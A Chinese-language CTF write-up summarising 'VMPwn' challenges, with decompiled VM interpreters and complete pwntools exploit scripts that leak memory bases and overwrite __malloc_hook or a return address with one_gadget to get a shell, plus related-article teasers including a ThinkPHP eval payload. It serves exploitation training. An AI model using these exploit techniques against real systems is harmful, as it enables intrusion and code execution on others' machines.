VMPwn之温故知新

VMPwn之温故知新

前言

VMPwn泛指实现一些运算指令来模拟程序运行的Pwn题。去年十二月的时候跟着0xC4m3l师傅的文章系统学习了一下VMPwn,到今天发现VMPwn已经成了一个主流的出题方向,在去年的上海大学生网络安全大赛和红帽杯的线下也有几道VMPwn,因此我这里拿几道最近的题目来总结一下此类问题的一般思路。

题目概述

我们现在常见到的VMPwn基本设计如下:

  1. 分配内存模拟程序执行,基本组成要素为代码区和数据区,这两块区域可以分配在同一块内存或者两块独立内存。
  2. 数据区域包含模拟栈和模拟寄存器。
  3. 代码区根据用户指令模拟各种操作,如压栈出栈,寄存器立即数运算等
  4. 一般都是数据区的读写越界引发的漏洞,根据数据区内存分配位置的不同可以分为栈越界,bss越界和堆越界三类问题。

典型的题目有ciscn_2019_virtual、Ogeek_ovm、D3CTF_babyrop等。除了这种在机器码层面模拟程序执行的题目,还有模拟运行高级语言代码的题目,二者侧重点不太一样,我们分别拿例题来讲解。

汇编类VMPwn

这类问题的核心就是逆向,漏洞多是越界读写,先分析VM接收的数据格式,之后通过静态代码分析和动态调试搞清每条模拟指令的含义,再根据指令进行组合利用漏洞。

2020-no-Conv-CTF_EasyVm

程序逻辑

在逆指令前,可以通过IDA的结构体导入功能导入C语言形式的结构体,简化代码。经过分析,核心的数据结构是这样一个node结构体。

struct node{
    unsigned int reg[6];
    unsigned int chunk1;
    unsigned int chunk2;
    unsigned int memchunk;
    unsigned int res2;
    unsigned int chunk_addr;
};

首先是main函数的代码,大的功能是分配一块区域供用户写指令和数据,将这块内存作为参数交与VM虚拟机执行,释放堆内存以及给一个present。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *buf; // ST2C_4
  node *ptr; // [esp+18h] [ebp-18h]
  int bss_addr; // [esp+ACh] [ebp+7Ch]

  Init();
  ptr = SetInit();
  while ( 1 )
  {
    switch ( menu() )
    {
      case 1:
        buf = malloc(0x300u);                   // produce
        read(0, buf, 0x2FFu);
        ptr->mem_chunk = (unsigned int)buf;
        break;
      case 2:                                   // start
        if ( !ptr )
          exit(0);
        MainMethod(ptr);
        break;
      case 3:
        if ( !ptr )
          exit(0);
        free((void *)ptr->chunk_addr);          // Recycle,double free
        free(ptr);
        break;
      case 4:
        puts("Maybe a bug is a gif?");
        some_bss_val = bss_addr;                // 这里需要调试看到这个值
        ptr->mem_chunk = (unsigned int)&unk_3020;
        break;
      case 5:
        puts("Zzzzzz........");
        exit(0);
        return;
      default:
        puts("Are you kidding me ?");
        break;
    }
  }
}

MainMethod函数实现的指令比较多,我们截取漏洞利用用到的,其他的指令还有add,sub,sub,mul,div,xor,>>,<<,return,or,and

0x80这条指令同Magic函数相关,在IDA中其反编译的效果并不好,在gdb动态调试之后我们可以发现这条指令的含义是ptr_chunk[idx]=val,其中idx和val都是可控数据,因此这里存在堆越界写。

0x53指令调用putchar输出*reg[3]的值。

0x76指令设置reg[3]=*(ptr_chunk->chunk1)

0x54指令调用getchar函数向ptr_chunk->reg[3]存储的地址里输入值。

0x9指令将我们main函数中获取的present赋值给ptr_chunk->reg[1],配合指令0x11可以将这个值输出。

unsigned int __cdecl MainMethod(node *ptr_chunk)
{   //...
    if ( *(_BYTE *)ptr_chunk->mem_chunk == 0x80u )
    {
      ptr_chunk->reg[Magic(ptr_chunk, 1u)] = *(_DWORD *)(ptr_chunk->mem_chunk + 2);// magic here,prt_chunk[可控idx] = 可控数字
      ptr_chunk->mem_chunk += 6;
    }
    if ( *(_BYTE *)ptr_chunk->mem_chunk == 0x53 )// leak
        {
        putchar(*(char *)ptr_chunk->reg[3]);      // 改为got表
        ptr_chunk->mem_chunk += 2;
        }
    if ( *(_BYTE *)ptr_chunk->mem_chunk == 0x76 )
        {
        ptr_chunk->reg[3] = *(_DWORD *)ptr_chunk->chunk1;// set val
        *(_DWORD *)ptr_chunk->chunk1 = 0;
        ptr_chunk->chunk1 += 4;
        ptr_chunk->mem_chunk += 5;
        }
    if ( *(_BYTE *)ptr_chunk->mem_chunk == 0x54 )// get input;get shell
        {
        v1 = (_BYTE *)ptr_chunk->reg[3];
        *v1 = getchar();
        ptr_chunk->mem_chunk += 2;
        }
    if ( *(_BYTE *)ptr_chunk->mem_chunk == 9 )
        {
        ptr_chunk->reg[1] = some_bss_val;         // set bss addr
        ++ptr_chunk->mem_chunk;
        }
    if ( *(_BYTE *)ptr_chunk->mem_chunk == 0x11 )// leak proc base
        {
        printf("%p\n", ptr_chunk->reg[1]);
        ++ptr_chunk->mem_chunk;
        }
    //...
}
int __cdecl Magic(node *ptr_chunk, unsigned int one)
{
  int result; // eax
  unsigned int v3; // [esp+1Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  result = 0;
  if ( one <= 2 )
    result = *(unsigned __int8 *)(*(unsigned int *)((char *)ptr_chunk->reg + (_DWORD)(&free_ptr - 0xBE7)) + one);
  if ( __readgsdword(0x14u) != v3 )
    chk_fail();
  return result;
}

漏洞利用

这里的漏洞就是0x80指令的越界问题,以及main函数中清空堆块时的double free,还有出题人留的一个present。

我们首先用gdb调试查看所谓的present,发现是一个bss地址,因此使用0x9+0x11可以泄露程序加载基址proc_base

有了基址我们使用0x80指令将reg[3]改为puts@got,配合0x53的单字节打印分4次输出得到puts函数地址从而得到libc基址。

泄露heap地址也同理,我们用0x80指令将reg[3]改成main_arena->bins[]中的smallbin的存储地址,再调用0x53指令输出得到heap基址。

最后Getshell需要0x80+0x76+0x54,我们在堆上写一个__malloc_hook地址,通过0x80指令将ptr_chunk->chunk1改成存储__malloc_hook的堆地址,0x76指令则将这个地址赋值给reg[3],而0x54指令可以单字节向__malloc_hook输入值,我们分4次写入one_gadget即可。

#coding=utf-8
from pwn import *

r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)

context.update(arch='i386',os='linux',log_level='debug')
context.terminal = ['tmux','split','-h']
debug = 0
elf = ELF('./EasyVM')
libc_offset = 0x3c4b20
gadgets = [0x3ac5c,0x3ac5e,0x3ac62,0x3ac69,0x5fbc5,0x5fbc6]
if debug:
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')
    p = process('./EasyVM')

else:
    libc = ELF('./libc-2.23.so')
    p = remote('121.36.215.224',9999)

def Add(content):
    p.recvuntil('>>>')
    p.sendline('1')
    sleep(0.02)
    p.send(content)

def Start():
    p.recvuntil('>>>')
    p.sendline('2')

def Delete():
    p.recvuntil('>>>')
    p.sendline('3')

def Gift():
    p.recvuntil('>>>')
    p.sendline('4')

def exp():
    #leak proc base
    Gift()
    data = p8(0x9)+p8(0x11)+p8(0x99)
    Add(data)
    Start()
    p.recvuntil("0x")
    code_base = int(p.recvn(8),16) - (0x565556c0-0x56555000)
    log.success("code base => " + hex(code_base))
    #leak libc
    Delete()
    data = p8(0x80)+p8(0x3)+p32(code_base+0x0002fd0)+p8(0x53)+'\x00'
    data += p8(0x80)+p8(0x3)+p32(code_base+0x0002fd1)+p8(0x53)+'\x00'
    data += p8(0x80)+p8(0x3)+p32(code_base+0x0002fd2)+p8(0x53)+'\x00'
    data += p8(0x80)+p8(0x3)+p32(code_base+0x0002fd3)+p8(0x53)+'\x00'
    data += '\x99'
    Add(data)

    Start()
    p.recvn(2)
    libc_base = u32(p.recvn(4)) - libc.sym['puts']
    log.success("libc base => " + hex(libc_base))
    #leak heap
    target = libc_base + (0xf7fb2150-0xf7e00000)
    malloc = libc_base + libc.sym['__malloc_hook']
    shell = libc_base + gadgets[1]

    data = p8(0x80)+p8(0x3)+p32(target)+p8(0x53)+'\x00'
    data += p8(0x80)+p8(0x3)+p32(target+1)+p8(0x53)+'\x00'
    data += p8(0x80)+p8(0x3)+p32(target+2)+p8(0x53)+'\x00'
    data += p8(0x80)+p8(0x3)+p32(target+3)+p8(0x53)+'\x00'
    data += '\x99'
    Add(data)

    Start()
    p.recvn(2)
    heap_base = u32(p.recvn(4))
    log.success("heap base => " + hex(heap_base))
    #get shell
    fake_heap = heap_base + (0x56559aaf-0x56559000)
    fake_heap1 = heap_base + (0x56559abc-0x56559000)
    fake_heap2 = heap_base + (0x56559ac9-0x56559000)
    fake_heap3 = heap_base + (0x56559ad6-0x56559000)
    data = p8(0x80)+p8(0x6)+p32(fake_heap)+p8(0x76)+p32(malloc)+p8(0x54)+'\x00'
    data += p8(0x80)+p8(0x6)+p32(fake_heap1)+p8(0x76)+p32(malloc+1)+p8(0x54)+'\x00'
    data += p8(0x80)+p8(0x6)+p32(fake_heap2)+p8(0x76)+p32(malloc+2)+p8(0x54)+'\x00'
    data += p8(0x80)+p8(0x6)+p32(fake_heap3)+p8(0x76)+p32(malloc+3)+p8(0x54)+'\x00'
    data += '\x99'
    Add(data)

    Start()
    raw_input()
    p.send(p8(shell&0xff))
    raw_input()
    p.send(p8((shell&0xffff)>>8))
    raw_input()
    p.send(p8((shell>>16)&0xff))
    raw_input()
    p.send(p8((shell>>24)))
    #gdb.attach(p,'b* 0x56555000+ 0xcaf')

    p.recvuntil('>>>')
    p.sendline('3')


    p.interactive()

exp()

网鼎杯青龙组boom2

程序逻辑

main函数的开始部分分配了两个大小为0x40000uLL的堆块,因为大于了默认的heap分配阈值,调用mmap分配内存,在堆地址中存储了一个栈地址。

setbuf(stdout, 0LL);
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
chunk_addr = (signed __int64 *)malloc(0x40000uLL);// >0x23000,mmap
buf = (char *)malloc(0x40000uLL);
printf("MC execution system\nInput your code> ", 0LL);
read(0, buf, 0x120uLL);
chunk_addr += 0x8000;
chunk_8000_addr = chunk_addr;
--chunk_addr;
*chunk_addr = 0x1ELL;
--chunk_addr;
*chunk_addr = 0xDLL;
v4 = chunk_addr;
--chunk_addr;
*chunk_addr = a1 - 1;
--chunk_addr;
*chunk_addr = (signed __int64)(a2 + 1);       // 这里放了栈地址进去
chunk_8000_addr_sub_1 = chunk_addr - 1;
*chunk_8000_addr_sub_1 = (signed __int64)v4;  // 堆里保存了自己的地址
v37 = 0LL;

整个虚拟机只能执行一次,且最多执行30条指令,这里依然是只分析重点的指令,其他包括v36和*chunk_8000_addr_sub_1add/sub/mul/div/>>/&/^等运算,不一而足。

0x0的指令存在一个明显的堆越界读,将数据赋值给v36。

0x6的指令存在同样的问题,只不过赋值的对象变成了chunk_8000_addr_sub_1

0x9指令将v36作为地址取值再赋给v36。

0x11指令为v36的双重取值再赋值。

0x13指令执行*chunk_8000_addr_sub_1 = v36,这条指令将v36和chunk_8000_addr_sub_1关联了起来。

//choice=0
buf2 = buf;// choice为0
buf += 8;
v36 = (signed __int64)&chunk_8000_addr[*buf2];// v7可控的话这里有堆越界
//choice=1
buf3 = (signed __int64 *)buf;// choice=1
buf += 8;
v36 = *buf3;// 取buf值赋值给v36
// choice=6
chunk_8000_addr_sub_2 = chunk_8000_addr_sub_1 - 1;
*chunk_8000_addr_sub_2 = (signed __int64)chunk_8000_addr;
chunk_8000_addr = chunk_8000_addr_sub_2;
buf4 = buf;
buf += 8;
chunk_8000_addr_sub_1 = &chunk_8000_addr_sub_2[-*buf4];// (注意要乘8)前溢将堆地址赋值给这个值
//choice=9
v36 = *(_QWORD *)v36;//取8字节v36地址上的值赋给v36
//choice=11
v13 = (signed __int64 **)chunk_8000_addr_sub_1;// v13先放一个map地址,这个地址的值是retn_addr
++chunk_8000_addr_sub_1;
**v13 = v36;//两次取值,赋值为一个可控值
//choice=13
--chunk_8000_addr_sub_1;//把v36写到堆上
*chunk_8000_addr_sub_1 = v36;// 先让v36得到我们的那个目标值

漏洞利用

这里没有输出函数,我们考虑将返回地址的__libc_start_main函数直接拷贝到map地址,通过加运算得到one_gadget

将map上的原栈地址进行加减运算得到retn_addr,再用双重赋值指令把one_gadget写入到retn_addr。在exp注释中详细解释了每一条指令的目的。

#coding=utf-8
from pwn import *

r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)

context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 2
elf = ELF('./pwn')
libc_offset = 0x3c4b20


libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc6_2.23-0ubuntu10_amd64.so')
if debug == 1:
    gadgets = [0x45216,0x4526a,0xcd0f3,0xcd1c8,0xf02a4,0xf02b0,0xf1147,0xf66f0]
    p = process('./pwn')
elif debug == 2:
    gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
    p = process('./pwn', env={'LD_PRELOAD':'./libc6_2.23-0ubuntu10_amd64.so'})
else:
    p = remote('182.92.73.10',36642)

def exp():
    #environ+0xf0 = retn_addr
    libc_base = 0x7ffff7a0d000
    shell_addr = gadgets[3]
    target = libc.sym['__libc_start_main']+240
    off = shell_addr - target
    print hex(off)
    p.recvuntil("Input your code> ")
    #gdb.attach(p,'b* 0x0000555555554000+0xb72')
    #gdb.attach(p,'b* 0x0000555555554000+0xe43')
    #set args = bin_sh
    payload = flat([
        0,-4,#set v36 = map_addr(stack_addr on it)
        9,#set v36 = stack_addr
        6,0x101e0,#set chunk_8000_addr_sub_1
        25,#set v36 = retn_addr
        6,-0x101e3,#set chunk_8000_addr_sub_1 = map_addr
        13,#set map_addr(retn_addr)
        9,#set v36 = libc_start_main+240
        6,0x101e0,#set map_addr
        25,#set v36 = one_gadget
        6,-0x101e1,#set chunk_8000_addr_sub_1 = map_addr
        11,#set retn_addr(one_gadget)
        ])
    payload = payload.ljust(8*26,'\x00')
    payload += flat([
        -0xe8,off,0x12345678
        ])
    p.sendline(payload)
    p.interactive()

exp()

编译器类VM

这类VM主要接收用户的高级语言形式的代码,模拟编译执行,相比于汇编类的VM,它更加灵活,难度也更高,做题没有固定的套路,需要自己结合题目环境解题。

2019红帽杯-万花筒

程序逻辑 && 漏洞利用

题目是用llvm自己实现的一个小型编译器,是llvmcookbook的示例改的,toy语言,看Kaleidoscope这个名字应该就可以找到教程,gettok里定义了一些标识符,在划分语元的时候使用,这里有def、extern、if等。

在引用未定义的函数会提示Error: Unknown function referenced, 假如我们定义一个名称与库函数相同且没有body的函数(如def system(a);), 第一次调用提示Error: Unknown unary operator, 之后能调用到库函数,因此我们调用mmap分配一块固定内存地址存放/bin/sh,之后调用sytem(map_addr)来get shell。

from pwn import *
p = process("./pwn2")

本文来源于: https://xz.aliyun.com/t/7787

相关推荐

一次对参数编码混淆越权的尝试

一、前言 当你进行越权测试遇到参数被混淆编码时是简单的尝试然后放弃,还是和他杠上?,本文将介绍一次对某系统某参数有混淆编码的越权尝试。 二、越权尝试 1、登录某系统,点击保存 2、使用burp抓包,发现key参数: RuYW1lPVRfW

CVE-2017-16995复现与分析

CVE-2017-16995复现与分析 前言 CVE-2017-16995是一个内核提权漏洞,最近PWN2OWN爆出了一个ebpf模块相关的提权漏洞,因此打算系统地学习一下ebpf这个内核模块,并复现和分析与之相关的内核漏洞,之前先知已经有

Bug Bounty:$20000 Facebook DOM XSS

window.postMessage()方法保证窗口对象之间的安全跨域通信;例如,在页面和它产生的弹出窗口之间,或者在页面和嵌入其中的iFrame之间。 更多关于window.postMessage()方法的知识可以查阅Mozilla Po

mailoney蜜罐学习记录

蜜罐介绍 Mailoney是T-pot蜜罐系统中针对SMTP协议的一个蜜罐,该蜜罐中有三种工作模式,分别为open_relay,postfix_creds,schizo_open_relay。各种模式功能如下: open_relay-只是一

CVE-2020-11108: How I Stumbled into a Pi-hole RCE+LPE

原文地址:https://frichetten.com/blog/cve-2020-11108-pihole-rce/ 以下是CVE-2020-11108的writeup,Pi-hole Web应用程序的认证用户可以通过CVE-2020-1

浅析域渗透中的组策略利用

浅析域渗透中的组策略利用 0x0 前言 最近在实战过程和比赛过程都遇到了这个点,发现攻击面其实挺宽广的,这里记录下自己的分析和学习过程。 0x1 多域环境 test.local 域 DC: 10.211.55.38 win2012 Admi

Thinkphp5代码执行学习

缓存类RCE 版本 5.0.0<=ThinkPHP5<=5.0.10 Tp框架搭建 环境搭建 测试payload ?username=syst1m%0d%0a@eval($_GET[_]);// 可以看到已经写入了缓存 漏洞分析 think

XPATH注入学习

0x00、前言 转眼这学期上完就要找实习了,在网上找了一些面经来看,看到有问到xpath注入的情况。发现对自己xpath注入的了解仅局限于做了墨者学院的xpath注入靶场的常规注入,对xpath注入的权限绕过和盲注并不了解,以下为这次学习的

codeql学习——污点分析

本文主要内容有: 如何查找函数调用 如何查找属性使用 如何进行数据流分析 寻找fastjson jndi反序列化链 Workshop 学习 这部分是学习这个codeql的workshop的笔记。Struts 有个漏洞 CVE-2017-98

实战渗透-看我如何拿下自己学校的大屏幕(Bypass)

从1月份入坑到现在,已经5个月了。这五个月来一直在刷edusrc,并且在本月初成功达到了总榜第五名。很多人问我如何快速批量刷站?那么,他来了。本次分享一次对自己学校的一次安全检测实战文章。帮助萌新理清思路,同时,欢迎各位大佬指点不足。 0x

thinkphp 5.1框架流程分析与RCE

环境 phpstudy+thinkphp5.1.20 由于thinkphp5.1以上的版本不再支持官网下载源码,需要使用composer下载,比如说下载5.1.20版本 composer create-project --prefer-di